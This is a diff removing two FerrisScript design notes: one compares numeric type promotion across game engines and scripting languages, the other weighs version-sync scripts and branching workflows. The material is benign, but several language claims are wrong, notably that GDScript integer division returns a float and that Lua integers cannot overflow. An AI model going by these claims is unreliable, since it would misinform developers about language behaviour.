-- Integers: 64-bit signed (`int` = `i64` equivalent)
-- Floats: 64-bit double-precision (`float` = `f64` equivalent)
-- **No explicit 32-bit numeric types in GDScript**
-
-**Type Behavior**:
-
-```gdscript
-# GDScript examples
-var big = 2000000000
-var result = big + big  # = 4000000000 (no overflow, uses i64)
-
-var x = 5 / 2  # = 2.5 (automatic float conversion)
-```
-
-**Automatic Promotion**:
-
-- Integer operations use 64-bit arithmetic (no overflow for most game values)
-- Integer ÷ Integer → Float (automatic float promotion for division)
-- Overflow: Wraps at 64-bit boundary (rare in practice)
-
-#### GDExtension/C++ Bindings
-
-**Native Types**:
-
-```cpp
-// Godot C++ (GDExtension) uses C++ native types
-int32_t, int64_t   // Explicit bit widths
-float, double      // 32-bit and 64-bit floats
-```
-
-**Binding Considerations**:
-
-- GDExtension can expose C++ types to Godot
-- Godot's `Variant` will store them as 64-bit internally
-- **Narrowing conversions** (64 → 32) can lose data
-- **Widening conversions** (32 → 64) are safe
-
-**FerrisScript Implication**:
-
-- FerrisScript's `i32` → Godot's `int` (i64): Safe widening ✅
-- FerrisScript's `f32` → Godot's `float` (f64): Safe widening ✅
-- **Current approach is compatible** with Godot expectations

-### 2. Unity (C# / .NET)
-
-**Type System**:
-
-```csharp
-// Unity C# numeric types
-int     // i32 (32-bit signed)
-long    // i64 (64-bit signed)
-float   // f32 (32-bit float)
-double  // f64 (64-bit double)
-byte    // u8 (8-bit unsigned)
-short   // i16 (16-bit signed)
-```
-
-**Behavior**:
-
-- **No automatic promotion** by default
-- Overflow: Wraps by default (can enable checked arithmetic)
-- Explicit casting required: `(long)int32Value + int32Value`
-
-**Checked Arithmetic** (Optional):
-
-```csharp
-checked {
-    int result = big + big;  // Throws OverflowException if overflows
-}
-```
-
-**Unity's Approach**:
-
-- Uses 32-bit types extensively (`int`, `float`) for performance
-- Explicit widening when needed (rare in game logic)
-- Vector math: `Vector3` uses `float` (f32) for performance
-- **Prioritizes performance over automatic promotion**
-
----
-
-### 3. Unreal Engine (C++)
-
-**Type System**:
-
-```cpp
-// Unreal Engine typedefs (UE5)
-int32    // 32-bit signed (primary integer type)
-int64    // 64-bit signed (rare, used for large values)
-float    // 32-bit float (primary floating-point type)
-double   // 64-bit double (rare, used for precision)
-uint8    // 8-bit unsigned (common for small values, colors)
-uint16   // 16-bit unsigned
-```
-
-**Behavior**:
-
-- **No automatic promotion** (standard C++ rules)
-- Overflow: Undefined behavior (wraps in practice)
-- Explicit casting required for widening
-- Uses `int32` and `float` extensively (32-bit preference)
-
-**Unreal's Approach**:
-
-- **Performance-first**: 32-bit types for most game logic
-- 64-bit used sparingly (timestamps, large IDs)
-- Smaller types (`uint8`) for memory optimization (textures, colors)
-- **Explicit type control over convenience**
-
----
-
-### 4. Bevy Engine (Rust)
-
-**Type System**:
-
-```rust
-// Bevy (pure Rust) follows Rust conventions
-i32, i64      // Explicit bit widths
-f32, f64      // Explicit float precision
-u8, u16, u32  // Unsigned variants
-```
-
-**Behavior**:
-
-- **No automatic promotion** (Rust is explicit)
-- Overflow: **Panics in debug**, wraps in release (default)
-- Can opt into checked/saturating/wrapping arithmetic explicitly:
-
-  ```rust
-  let safe = big.checked_add(big).unwrap_or(i32::MAX);  // Saturates
-  let wide = (big as i64) + (big as i64);                // Explicit cast
-  ```
-
-**Bevy's Approach**:
-
-- Follows Rust philosophy: **Explicit over implicit**
-- Uses `f32` for most game math (performance)
-- Uses `i32` for most integer logic
-- Developers explicitly widen when needed
-- **Prioritizes predictability and performance**
-
----
-
-### 5. Lua (Common Game Scripting Language)
-
-**Type System**:
-
-```lua
--- Lua has ONE numeric type: "number"
-local x = 42       -- Integer (stored as 64-bit integer in Lua 5.3+)
-local y = 3.14     -- Float (stored as 64-bit double)
-local z = x + y    -- Automatic conversion to double
-```
-
-**Behavior**:
-
-- **Automatic promotion**: Integer → Double when needed
-- No overflow (uses 64-bit integers)
-- Single "number" type simplifies scripting
-- Performance cost: All numbers are 64-bit
-
-**Lua's Approach**:
-
-- **Convenience over performance** (scripting language)
-- No type annotations (dynamic typing)
-- Automatic promotion for ease of use
-- **Not suitable for high-performance game core** (hence used for scripting layer)
-
----
-
-### 6. JavaScript/TypeScript (Web Game Engines)
-
-**Type System**:
-
-```typescript
-// JavaScript: All numbers are 64-bit floats (IEEE 754 double)
-let x = 42;        // Stored as 64-bit double
-let y = 2 ** 53;   // Max safe integer (2^53 - 1)
-
-// TypeScript: Adds type annotations (no runtime effect)
-let count: number = 42;  // Still 64-bit double at runtime
-```
-
-**Behavior**:
-
-- **No integers** (everything is 64-bit double)
-- Automatic promotion (everything is already "promoted")
-- Performance: Slower than native integers
-- WebAssembly: Can use explicit `i32`, `i64`, `f32`, `f64`
-
-**JavaScript's Approach**:
-
-- **Maximum convenience** (single number type)
-- Performance cost for integer operations
-- WebAssembly games use explicit types for performance
-

-
-## 📊 Type Promotion Strategies (Comparative Analysis)
-
-### Strategy 1: No Promotion (Explicit) - **Current FerrisScript**
-
-**Examples**: Rust, C++, C#, Unreal, Unity
-
-**Pros**:
-
-- ✅ **Predictable performance**: No hidden conversions
-- ✅ **Explicit control**: Developer chooses when to widen
-- ✅ **Zero-cost abstraction**: Matches hardware behavior
-- ✅ **Easier FFI**: Direct mapping to C ABI
-
-**Cons**:
-
-- ❌ **Overflow risk**: Developer must handle manually
-- ❌ **Verbosity**: Explicit casts required
-- ❌ **Learning curve**: Beginners may not anticipate overflow
-
-**Example**:
-
-```rust
-// Explicit widening
-let a: i32 = 2000000000;
-let b: i32 = 2000000000;
-let result: i64 = (a as i64) + (b as i64);  // Developer responsibility
-```
-
----
-
-### Strategy 2: Automatic Promotion (Dynamic) - **Lua, JavaScript**
-
-**Examples**: Lua, JavaScript, GDScript (partially)
-
-**Pros**:
-
-- ✅ **Ease of use**: No manual overflow handling
-- ✅ **Beginner-friendly**: Works "as expected"
-- ✅ **No overflow bugs**: Values just get bigger
-
-**Cons**:
-
-- ❌ **Performance cost**: Larger types slower
-- ❌ **Memory overhead**: Always using 64-bit
-- ❌ **Unpredictable**: Hidden conversions
-- ❌ **FFI complexity**: Type size varies at runtime
-
-**Example**:
-
-```lua
--- Lua: Automatic promotion
-local big = 2000000000
-local result = big + big  -- Works (uses i64 internally)
-```
-
----
-
-### Strategy 3: Hybrid Promotion (Compile-Time Analysis) - **Potential FerrisScript**
-
-**Examples**: TypeScript (type widening), Kotlin (smart casts)
-
-**Pros**:
-
-- ✅ **Safety**: Compiler detects overflow risk
-- ✅ **Performance**: Only widens when necessary
-- ✅ **Explicit in types**: `i32 + i32 → i64` in signature
-- ✅ **Best of both worlds**: Safety + performance
-
-**Cons**:
-
-- ⚠️ **Compiler complexity**: Overflow analysis is hard
-- ⚠️ **Type inference complexity**: When to promote?
-- ⚠️ **FFI considerations**: Return type may vary
-
-**Example** (hypothetical FerrisScript):
-
-```rust
-// Hypothetical: Compiler promotes result type
-let a: i32 = 2000000000;
-let b: i32 = 2000000000;
-let result = a + b;  // Compiler infers result: i64 (promotion)
-
-// Or explicit promotion operator
-let result: i64 = a +^ b;  // Operator signals promotion
-```
-
----
-
-### Strategy 4: Checked Arithmetic (Runtime Safety) - **Rust Option**
-
-**Examples**: Rust (checked_add), C# (checked keyword), Swift
-
-**Pros**:
-
-- ✅ **Safety**: Detects overflow at runtime
-- ✅ **Explicit**: Developer chooses checked vs unchecked
-- ✅ **Performance when unchecked**: No cost for hot paths
-- ✅ **Debugging-friendly**: Panics/errors on overflow
-
-**Cons**:
-
-- ⚠️ **Runtime cost**: Checks add instructions
-- ⚠️ **Verbosity**: Explicit method calls
-- ⚠️ **Error handling**: Must handle overflow cases
-
-**Example**:
-
-```rust
-// Rust checked arithmetic
-let result = a.checked_add(b).unwrap_or_else(|| {
-    // Handle overflow: promote or error
-    (a as i64) + (b as i64)
-});
-```
-
----
-
-## 🔬 Static Typing Advantages for FerrisScript
-
-### FerrisScript's Unique Position
-
-As a **statically-typed language**, FerrisScript has advantages over dynamic scripting languages:
-
-1. **Compile-Time Type Analysis**:
-   - Can detect potential overflow at compile time
-   - Can enforce explicit widening in signatures
-   - Can warn when arithmetic might overflow
-
-2. **Explicit Type Control**:
-   - Developer declares types (not inferred at runtime)
-   - Functions have explicit return types
-   - No hidden runtime conversions
-
-3. **Performance Optimization**:
-   - Can use 32-bit types where safe
-   - Can use smaller types (i16, u8) for memory savings
-   - No runtime type checking overhead
-
-4. **FFI Safety**:
-   - Explicit types match C ABI
-   - No runtime type size changes
-   - Predictable memory layout
-
-### Opportunity: Best of Both Worlds
-
-FerrisScript could offer:
-
-```rust
-// Option 1: Explicit promotion (current)
-let a: i32 = 2000000000;
-let result: i64 = (a as i64) + (a as i64);
-
-// Option 2: Checked arithmetic (future)
-let result: i32 = a.checked_add(a)?;  // Error if overflow
-
-// Option 3: Saturating arithmetic (future)
-let result: i32 = a.saturating_add(a);  // Clamps to i32::MAX
-
-// Option 4: Promotion in function signature (future)
-fn add_promote(a: i32, b: i32) -> i64 {
-    (a as i64) + (b as i64)
-}
-```
-
----
-
-## 🎯 Recommended Approach for FerrisScript
-
-### Phase 1: Core Type System (v0.1.0) - **Keep Current Approach**
-
-**Recommendation**: **No automatic promotion** (Strategy 1)
-
-**Rationale**:
-
-- Matches Godot/Unity/Unreal conventions (explicit control)
-- Predictable performance (important for game scripting)
-- Simpler compiler implementation
-- Easier FFI (types match C ABI)
-- Aligns with Rust philosophy (explicit over implicit)
-
-**Current Types**:
-
-- `i32` - Primary integer type
-- `f32` - Primary float type
-
-**Overflow Behavior**:
-
-- Debug: Panic on overflow (matches Rust debug)
-- Release: Wrap on overflow (matches Rust release)
-
----
-
-### Phase 2: Extended Type System (v0.2.0+) - **Add More Types**
-
-**Recommendation**: Add explicit 64-bit and smaller types
-
-**New Types**:
-
-```rust
-// 64-bit types (for large values)
-i64  // 64-bit signed integer
-f64  // 64-bit double-precision float
-
-// Smaller types (for memory optimization)
-i16  // 16-bit signed integer
-u8   // 8-bit unsigned integer (0-255)
-u16  // 16-bit unsigned integer
-```
-
-**Use Cases**:
-
-- `i64`: Large entity IDs, timestamps, big calculations
-- `f64`: High-precision physics, scientific calculations
-- `i16`: Compact data structures (tile coordinates)
-- `u8`: Colors (RGBA), small enums, flags
-- `u16`: Medium-sized IDs, network packets
-
-**Explicit Conversion**:
-
-```rust
-let small: i32 = 42;
-let big: i64 = small as i64;    // Explicit widening
-let precise: f64 = 3.14159 as f64;
-```
-
----
-
-### Phase 3: Checked Arithmetic (v0.3.0+) - **Add Safety Methods**
-
-**Recommendation**: Add checked/saturating arithmetic methods
-
-**API**:
-
-```rust
-// Checked (returns Option or error)
-let result: i32? = a.checked_add(b);  // None if overflow
-
-// Saturating (clamps to min/max)
-let result: i32 = a.saturating_add(b);  // i32::MAX if overflow
-
-// Wrapping (explicit wrap)
-let result: i32 = a.wrapping_add(b);  // Wraps explicitly
-
-// Overflowing (returns tuple)
-let (result, overflowed) = a.overflowing_add(b);
-```
-
-**Rationale**:
-
-- Gives developers explicit control over overflow
-- No performance cost when not used
-- Matches Rust's approach (proven in production)
-- Clear intent in code
-
----
-
-### Phase 4: Compiler Warnings (v0.4.0+) - **Static Analysis**
-
-**Recommendation**: Add compile-time overflow detection
-
-**Analysis**:
-
-```rust
-// Compiler warning: "Potential overflow in constant expression"
-let result: i32 = 2000000000 + 2000000000;
-//                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ overflow detected
-
-// Suggestion: Use i64 or checked arithmetic
-let result: i64 = 2000000000_i64 + 2000000000_i64;
-```
-
-**Rationale**:
-
-- Leverages static typing advantage
-- No runtime cost
-- Helps developers avoid bugs
-- Educational (teaches about overflow)
-
----
-
-### NOT Recommended: Automatic Promotion
-
-**Why not automatic promotion?**
-
-1. **Performance unpredictability**: Hidden conversions
-2. **FFI complexity**: Return type varies
-3. **Against explicit design**: FerrisScript is statically typed
-4. **Godot compatibility**: Not needed (32→64 safe)
-5. **Debugging difficulty**: Hidden type changes
-
-**Exception**: Could consider **opt-in** promotion for specific operations:
-
-```rust
-// Hypothetical: Explicit promotion operator (if demand exists)
-let result: i64 = a +! b;  // "+" with "!" means "promote if needed"
-```
-
----
-
-## 🎮 Godot Compatibility Analysis
-
-### Current FerrisScript → Godot
-
-| FerrisScript Type | Godot GDScript Type | Godot C++ Type | Conversion |
-|-------------------|---------------------|----------------|------------|
-| `i32` | `int` (i64) | `int64_t` | ✅ Safe widening |
-| `f32` | `float` (f64) | `double` | ✅ Safe widening |
-
-**Conclusion**: Current approach is **fully compatible** with Godot.
-
-### With Extended Types
-
-| FerrisScript Type | Godot GDScript Type | Godot C++ Type | Conversion |
-|-------------------|---------------------|----------------|------------|
-| `i32` | `int` (i64) | `int64_t` | ✅ Safe widening |
-| `i64` | `int` (i64) | `int64_t` | ✅ Direct match |
-| `f32` | `float` (f64) | `double` | ✅ Safe widening |
-| `f64` | `float` (f64) | `double` | ✅ Direct match |
-| `i16` | `int` (i64) | `int64_t` | ✅ Safe widening |
-| `u8` | `int` (i64) | `int64_t` | ✅ Safe widening |
-
-**Conclusion**: Extended types remain **fully compatible** with Godot.
-
-### Binding Considerations
-
-**No issues identified**:
-
-- All FerrisScript types widen safely to Godot types
-- No narrowing conversions (data loss)
-- Performance: Godot uses 64-bit internally anyway
-- Memory: Godot's `Variant` stores 64-bit regardless
-
----
-
-## 📊 Performance Considerations
-
-### 32-bit vs 64-bit Performance
-
-**Modern CPUs (x86-64, ARM64)**:
-
-- 64-bit arithmetic: **Same speed** as 32-bit (native register size)
-- Memory bandwidth: 64-bit uses 2x memory (cache pressure)
-- SIMD: Can process 4x f32 or 2x f64 per instruction
-
-**Game Logic**:
-
-- Most game math: **32-bit is sufficient** (positions, rotations, velocities)
-- Rare cases need 64-bit: Timestamps, large world coordinates, entity IDs
-
-**Recommendation**: **Use 32-bit by default**, widen when needed
-
-### Smaller Types (i16, u8) Performance
-
-**Benefits**:
-
-- ✅ Memory savings: 2x (i16) or 4x (u8) smaller than i32
-- ✅ Cache efficiency: More values fit in cache
-- ✅ SIMD: Can process more values per instruction
-
-**Drawbacks**:
-
-- ⚠️ Overflow risk: Smaller range
-- ⚠️ Conversion cost: May need casting
-- ⚠️ Limited use cases: Most game values fit in i32
-
-**Use Cases**:
-
-- `u8`: Colors (RGBA), tile types, small enums
-- `i16`: Tile coordinates (-32768 to 32767), audio samples
-- **Not general-purpose**: Use for specific optimizations
-
----
-
-## 🗓️ Roadmap Placement Recommendations
-
-### Immediate (v0.0.3-v0.0.4): No Changes Needed ✅
-
-**Current state is correct**:
-
-- i32/f32 are industry-standard for game scripting
-- Fully compatible with Godot
-- Simple and predictable
-
----
-
-### v0.1.0 (Godot Release Focus): No Type System Changes ✅
-
-**Focus**: Tooling & Godot Integration (see `docs/planning/v0.1.0-ROADMAP.md`)
-
-- LSP and editor support (HIGHEST PRIORITY)
-- Enhanced Godot integration (signals, callbacks, types)
-- Developer experience improvements
-
-**Type System Status**:
-
-- Current `i32`/`f32` types are **sufficient** for v0.1.0 goals
-- No blocking issues for Godot compatibility
-- Extended types **deferred** to post-v0.1.0 releases
-
-**Rationale**:
-
-- Focus on usability and adoption first
-- Type system enhancements are non-blocking
-- Avoid scope creep for critical release
-
----
-
-### v0.2.0 (Proposed): Extended Type System
-
-**Priority**: Medium  
-**Effort**: 2-3 weeks  
-**Dependencies**: Type checker, runtime
-**Status**: Proposed (see `docs/planning/v0.2.0-roadmap.md`)
-
-**Implementation**:

-1. Add `i64`, `f64`, `i16`, `u8`, `u16` to lexer/parser
-2. Update type checker for new types
-3. Update runtime representation
-4. Add explicit casting: `value as i64`
-5. Update Godot bindings (safe widening)
-6. Add tests for type conversions
-
-**Rationale**:
-
-- Requested by users for large values (timestamps, IDs)
-- Enables memory optimizations (u8 for colors)
-- Still explicit (no automatic promotion)
-- Production-ready foundation
-
----
-
-### v0.3.0 (Proposed): Checked Arithmetic
-
-**Priority**: Low-Medium  
-**Effort**: 1-2 weeks  
-**Dependencies**: Extended type system
-**Status**: Proposed (see `docs/planning/v0.3.0-roadmap.md`)
-
-**Implementation**:
-
-1. Add methods: `checked_add`, `saturating_add`, `wrapping_add`
-2. Update runtime to support checked operations
-3. Add error handling for overflow
-4. Add tests for overflow scenarios
-
-**Rationale**:
-
-- Improves safety for critical calculations
-- Opt-in (no performance cost when unused)
-- Familiar to Rust developers
-- Educational for beginners
-
----
-
-### v0.4.0+ (Proposed): Compiler Warnings
-
-**Priority**: Low  
-**Effort**: 2-4 weeks  
-**Dependencies**: Dataflow analysis, LSP integration
-
-**Implementation**:
-
-1. Add constant folding to detect literal overflows
-2. Add range analysis for variable overflow detection
-3. Emit warnings for potential overflows
-4. Suggest fixes (use i64, checked arithmetic)
-5. Integrate with LSP for in-editor warnings
-
-**Rationale**:
-
-- Leverages static typing advantage
-- Helps developers avoid bugs
-- No runtime cost
-- Differentiator vs dynamic languages
-
----
-
-### Future Exploration (v1.0+): Automatic Promotion (Not Recommended)
-
-**Priority**: Very Low  
-**Effort**: Unknown (complex)  
-**Dependencies**: Full type inference, semantic analysis
-
-**Considerations**:
-
-- Only if strong user demand
-- Opt-in (not default behavior)
-- Explicit syntax (e.g., `+!` operator)
-- Performance implications must be clear
-
-**Rationale**:
-
-- Not aligned with explicit design philosophy
-- Adds compiler complexity
-- May confuse with Godot's behavior
-- **Not recommended unless proven necessary**

-
-## 📝 Open Questions
-
-1. **Should we add unsigned types** (`u32`, `u64`)?
-   - Godot doesn't use them extensively
-   - Useful for bit manipulation, IDs
-   - **Recommendation**: Add in v0.2.0 if demand exists
-
-2. **Should overflow panic in release builds**?
-   - Rust defaults to wrapping (performance)
-   - Games may prefer deterministic behavior
-   - **Recommendation**: Configurable via compiler flag
-
-3. **Should we support type inference for promotions**?
-   - `let x = big + big` → infer `i64`?
-   - Adds complexity to type inference
-   - **Recommendation**: Require explicit type annotation
-
-4. **Should we add overflow operators** (`+!`, `*!`)?
-   - Explicit promotion syntax
-   - Avoids verbosity of `as i64`
-   - **Recommendation**: Consider in v0.3.0+ if requested

-# Centralized Version Management & Branching Strategy Research
-
-**Date**: October 8, 2025  
-**Author**: GitHub Copilot (Research Task)  
-**Status**: Feasibility Analysis  
-**Version**: Draft 1.0
-
----
-
-## 🎯 Executive Summary
-
-This document provides comprehensive research and recommendations for simplifying FerrisScript's release management, branching strategy, and version tracking. The goal is to reduce manual overhead, prevent version desynchronization, and streamline the development-to-release workflow.
-
-### Key Findings
-
-**Current Pain Points**:
-
-- ✅ Version numbers scattered across **7+ locations** (manual sync required)
-- ✅ Long-lived `develop` branch accumulates **24+ commits** per release
-- ✅ Manual version bumping in multiple file formats (TOML, JSON, YAML, Markdown)
-- ✅ No automated version propagation across cargo/npm/docs ecosystems
-- ✅ Git history on `develop` must be "reset" after each release
-
-**Recommended Approach** (Hybrid Solution):
-
-1. **Version Management**: Centralized `.version` file + automated sync scripts (NOT .env)
-2. **Branching Strategy**: GitHub Flow (feature → main, no develop) + release branches
-3. **Automation**: Pre-commit hooks + CI validation for version consistency
-4. **Tag Strategy**: Semantic versioning with component-specific pre-release tags
-
-**Expected Benefits**:
-
-- ⏱️ **Time Savings**: ~15-20 minutes per release (no manual version syncing)
-- 🔒 **Consistency**: Automated validation prevents version mismatches
-- 📦 **Flexibility**: Independent versioning for cargo, npm, and docs when needed
-- 🚀 **Simplified Workflow**: Eliminate long-lived integration branch complexity

-## 1. Current State Analysis
-
-### 1.1 Version Tracking Locations
-
-**Identified Files**:
-
-| File | Current Version | Format | Purpose |
-|------|----------------|--------|---------|
-| `Cargo.toml` (workspace) | 0.0.3 | TOML | Rust workspace version (all crates) |
-| `extensions/vscode/package.json` | 0.0.3 | JSON | VS Code extension |
-| `package.json` (root) | 0.0.3 | JSON | Documentation tooling |
-| `package-lock.json` (root) | **0.0.2** ⚠️ | JSON | NPM lock file (DESYNC) |
-| `README.md` | 0.0.3 | Markdown | Badges, installation instructions |
-| `docs/_config.yml` | Implicit | YAML | Jekyll site (references v0.0.3 folders) |
-| `CHANGELOG.md` | 0.0.3 | Markdown | Version history |
-| `docs/planning/v0.0.X/` | Directory names | Filesystem | Version-specific documentation |
-
-**Pain Points**:
-
-1. **Manual Synchronization**: Each release requires editing 5+ files individually
-2. **Format Diversity**: TOML, JSON, YAML, Markdown, directory names
-3. **Desynchronization Risk**: `package-lock.json` still shows 0.0.2 (missed in v0.0.3 bump)
-4. **No Validation**: No automated check that versions match across files
-5. **Documentation Overhead**: Version numbers embedded in many doc files
-
-### 1.2 Branching Strategy
-
-**Current Workflow** (Git Flow-style):
-
-```
-feature/X ──PR──> develop ──PR──> main
-                   ↑                ↓
-                   │          (tagged v0.0.X)
-                   └──────────────┘
-                  (reset after release)
-```
-
-**Current Metrics**:
-
-- `develop` is **24 commits** ahead of `main` (as of v0.0.3 development)
-- v0.0.3 involved **39 commits** total on `develop` during development
-- `main` only updated on release (receives squashed PR from `develop`)
-- CI runs different test suites based on branch (quick-check on PR, full suite on develop/main)
-
-**Documented in**:
-
-- `docs/planning/v0.0.3/v0.0.3-roadmap.md` (lines 416-490)
-- `.github/workflows/ci.yml` (conditional jobs based on branch)
-- `CONTRIBUTING.md` (feature branch naming, PR process)
-
-**Pain Points**:
-
-1. **Long-Lived Integration Branch**: `develop` accumulates many commits between releases
-2. **History Management**: No clear strategy for "resetting" develop to match main
-3. **CI Duplication**: Need to maintain branch-specific CI logic
-4. **Contributor Confusion**: Two target branches (when to use develop vs main?)
-5. **Release Bottleneck**: All features must wait for develop → main PR
-
-### 1.3 Release Process
-
-**Current Process** (from `RELEASING.md`):
-
-1. Manual version bump in `Cargo.toml`, `package.json`, `extensions/vscode/package.json`
-2. Update `CHANGELOG.md` with new version section
-3. Update `README.md` badges and references
-4. Commit version bump to `develop`
-5. PR `develop` → `main` (comprehensive release PR)
-6. Merge to `main`
-7. Create Git tag `vX.Y.Z` on `main`
-8. ⚠️ **Manual step**: Reset `develop` to match `main` (not documented)
-
-**Time Estimate**: ~30-45 minutes per release (mostly manual verification)
-
-**Error-Prone Steps**:
-
-- Forgetting to update `package-lock.json` (happened in v0.0.3)
-- Missing version references in documentation
-- Inconsistent version tags across files
-
----
-
-## 2. Version Management Research
-
-### 2.1 Industry Approaches
-
-#### Option A: `.env` File for Version Tracking
-
-**Concept**: Store all version numbers in a root `.env` file, reference via environment variables.
-
-**Example `.env`**:
-
-```env
-# FerrisScript Version Configuration
-VERSION_MAJOR=0
-VERSION_MINOR=0
-VERSION_PATCH=3
-VERSION_FULL=0.0.3
-
-# Component Versions (independent if needed)
-CARGO_VERSION=0.0.3
-VSCODE_EXT_VERSION=0.0.3
-DOCS_VERSION=0.0.3
-
-# Release Tags
-VERSION_TAG=alpha
-RELEASE_DATE=2025-10-08
-
-# Branch Configuration
-MAIN_BRANCH=main
-INTEGRATION_BRANCH=develop
-```
-
-**Pros**:
-
-- ✅ Single source of truth for version numbers
-- ✅ Easy to read/parse in scripts (shell, Node.js, Rust)
-- ✅ Supports environment-specific overrides
-- ✅ Human-readable format
-
-**Cons**:
-
-- ❌ `.env` not natively supported by Cargo or npm
-- ❌ Requires build-time variable substitution (complexity)
-- ❌ Git merge conflicts on single-line changes
-- ❌ Not a Rust ecosystem standard
-
-**Verdict**: ⚠️ **Not Recommended** for Rust-centric projects. `.env` is a Node.js convention, not widely adopted in Rust tooling.
-
----
-
-#### Option B: Centralized `.version` File + Sync Scripts
-
-**Concept**: Store version in a simple text file, use scripts to propagate to all target files.
-
-**Example `.version`**:
-
-```
-0.0.3
-```
-
-**Or structured**:
-
-```toml
-# .version (TOML format for flexibility)
-[version]
-major = 0
-minor = 0
-patch = 3
-tag = "alpha"
-
-[components]
-cargo = "0.0.3"
-vscode = "0.0.3"
-docs = "0.0.3"
-
-[metadata]
-release_date = "2025-10-08"
-```
-
-**Sync Script**: `scripts/sync-versions.ps1` / `.sh`
-
-```powershell
-# sync-versions.ps1
-$VERSION = Get-Content .version -Raw
-$VERSION = $VERSION.Trim()
-
-# Update Cargo.toml
-(Get-Content Cargo.toml) -replace 'version = "[^"]+"', "version = `"$VERSION`"" | Set-Content Cargo.toml
-
-# Update package.json files
-$pkgJson = Get-Content package.json | ConvertFrom-Json
-$pkgJson.version = $VERSION
-$pkgJson | ConvertTo-Json -Depth 10 | Set-Content package.json
-
-# Update VSCode extension
-$vscodePkg = Get-Content extensions/vscode/package.json | ConvertFrom-Json
-$vscodePkg.version = $VERSION
-$vscodePkg | ConvertTo-Json -Depth 10 | Set-Content extensions/vscode/package.json
-
-Write-Output "✅ Synced version $VERSION to all files"
-```
-
-**Pros**:
-
-- ✅ Simple, Rust-friendly approach
-- ✅ Scriptable across platforms (PowerShell + Bash)
-- ✅ Can be validated in CI (fail if out of sync)
-- ✅ Supports independent component versioning
-
-**Cons**:
-
-- ⚠️ Requires discipline to run sync script before committing
-- ⚠️ Manual intervention for version bumps (no full automation)
-- ⚠️ Potential for desync if script not run
-
-**Verdict**: ✅ **Recommended**. Simple, maintainable, fits Rust ecosystem.
-
----
-
-#### Option C: Cargo Workspace Version + npm Scripts
-
-**Concept**: Use `Cargo.toml` as source of truth, extract version via `cargo metadata`, sync to npm.
-
-**Example `package.json` script**:
-
-```json
-{
-  "scripts": {
-    "sync-version": "node scripts/sync-version.js"
-  }
-}
-```
-
-**`scripts/sync-version.js`**:
-
-```javascript
-const { execSync } = require('child_process');
-const fs = require('fs');
-
-// Extract version from Cargo.toml
-const cargoMetadata = JSON.parse(
-  execSync('cargo metadata --format-version 1 --no-deps').toString()
-);
-const cargoVersion = cargoMetadata.workspace_members[0].split(' ')[1];
-
-// Update package.json
-const pkg = require('../package.json');
-pkg.version = cargoVersion;
-fs.writeFileSync('package.json', JSON.stringify(pkg, null, 2));
-
-// Update VS Code extension
-const vscode = require('../extensions/vscode/package.json');
-vscode.version = cargoVersion;
-fs.writeFileSync('extensions/vscode/package.json', JSON.stringify(vscode, null, 2));
-
-console.log(`✅ Synced version ${cargoVersion} from Cargo.toml`);
-```
-
-**Pros**:
-
-- ✅ Cargo.toml remains authoritative (Rust-first)
-- ✅ Leverages existing `cargo metadata` API
-- ✅ No new file formats introduced
-- ✅ npm scripts provide cross-platform automation
-
-**Cons**:
-
-- ⚠️ Requires Node.js even for Rust-only operations
-- ⚠️ Complex dependency (cargo → node → json updates)
-- ⚠️ Doesn't handle documentation version references
-
-**Verdict**: ⚙️ **Viable Alternative**. Good for Rust-first projects, but adds Node.js dependency.
-
----
-
-#### Option D: Automated Version Bumping Tools
-
-**Tools**:
-
-1. **cargo-release** ([GitHub](https://github.com/crate-ci/cargo-release))
-   - Automates version bumping, Git tagging, publishing to crates.io
-   - Supports workspace version management
-   - Integrates with conventional commits
-
-2. **semantic-release** ([GitHub](https://github.com/semantic-release/semantic-release))
-   - Fully automated versioning based on commit messages
-   - Supports npm, but requires plugins for Cargo
-   - Generates CHANGELOG.md automatically
-
-3. **release-plz** ([GitHub](https://github.com/MarcoIeni/release-plz))
-   - GitHub Action for Rust projects
-   - Automated PR creation for version bumps
-   - Supports workspace crates
-
-**Pros**:
-
-- ✅ Fully automated (no manual version editing)
-- ✅ Based on conventional commits (feat, fix, BREAKING CHANGE)
-- ✅ Generates changelogs automatically
-- ✅ Industry-standard approach
-
-**Cons**:
-
-- ❌ Steep learning curve for configuration
-- ❌ Requires strict commit message discipline
-- ❌ May not handle multi-ecosystem projects (Cargo + npm + docs)
-- ❌ Less control over versioning strategy
-
-**Verdict**: 🔮 **Future Enhancement**. Overkill for v0.0.X releases, but valuable for v1.0+.
-
----
-
-### 2.2 Recommended Version Management Solution
-
-**Hybrid Approach: Centralized `.version` + Sync Scripts + CI Validation**
-
-**Architecture**:
-
-```
-.version (TOML)
-    ↓
-scripts/sync-versions.{ps1,sh}
-    ↓
-├── Cargo.toml (workspace.package.version)
-├── package.json (root, documentation tooling)
-├── extensions/vscode/package.json (VS Code extension)
-└── [Future] docs/_config.yml (Jekyll site metadata)
-    ↓
-.github/workflows/version-check.yml (CI validation)
-```
-
-**Workflow**:
-
-1. Developer updates `.version` file (single edit)
-2. Runs `./scripts/sync-versions.sh` (or pre-commit hook auto-runs)
-3. Script propagates version to all target files
-4. CI validates all versions match on PR (fails if desync detected)
-5. Git tag created with same version on release
-
-**Benefits**:
-
-- ✅ Single source of truth (`.version`)
-- ✅ Automated propagation (sync script)
-- ✅ CI-enforced consistency (version-check workflow)
-- ✅ Supports independent component versioning (if needed)
-- ✅ Pre-commit hook can auto-sync (optional)

-## 3. Branching Strategy Research
-
-### 3.1 Workflow Comparison
-
-#### Current: Git Flow (Modified)
-
-**Structure**:
-
-```
-main        ────●────────────────●─────> (production)
-                 ↑                ↑
-develop     ─●───┴──●──●──●──●───┴──●──> (integration)
-              ↑      ↑  ↑  ↑  ↑
-features      └──●   └──└──└──┘
-```
-
-**Characteristics**:
-
-- Two long-lived branches (`main`, `develop`)
-- Features merge to `develop` for integration testing
-- `develop` merges to `main` for releases
-- `develop` reset to `main` after each release (manual)
-
-**Pros**:
-
-- ✅ Integration testing on `develop` before production
-- ✅ `main` always represents production-ready state
-- ✅ Clear separation between development and release
-
-**Cons**:
-
-- ❌ Long-lived integration branch accumulates commits (24+ for v0.0.3)
-- ❌ Manual "reset" of `develop` required after release (error-prone)
-- ❌ Contributor confusion (which branch to target?)
-- ❌ CI complexity (branch-specific logic)
-- ❌ Merge conflicts between `develop` and `main` if not synced
-
----
-
-#### Alternative A: GitHub Flow
-
-**Structure**:
-
-```
-main    ──●────●──●────●────●──────> (production + development)
-           ↑    ↑  ↑    ↑    ↑
-features   └──● └──└──● └──● └──●
-```
-
-**Characteristics**:
-
-- Single long-lived branch (`main`)
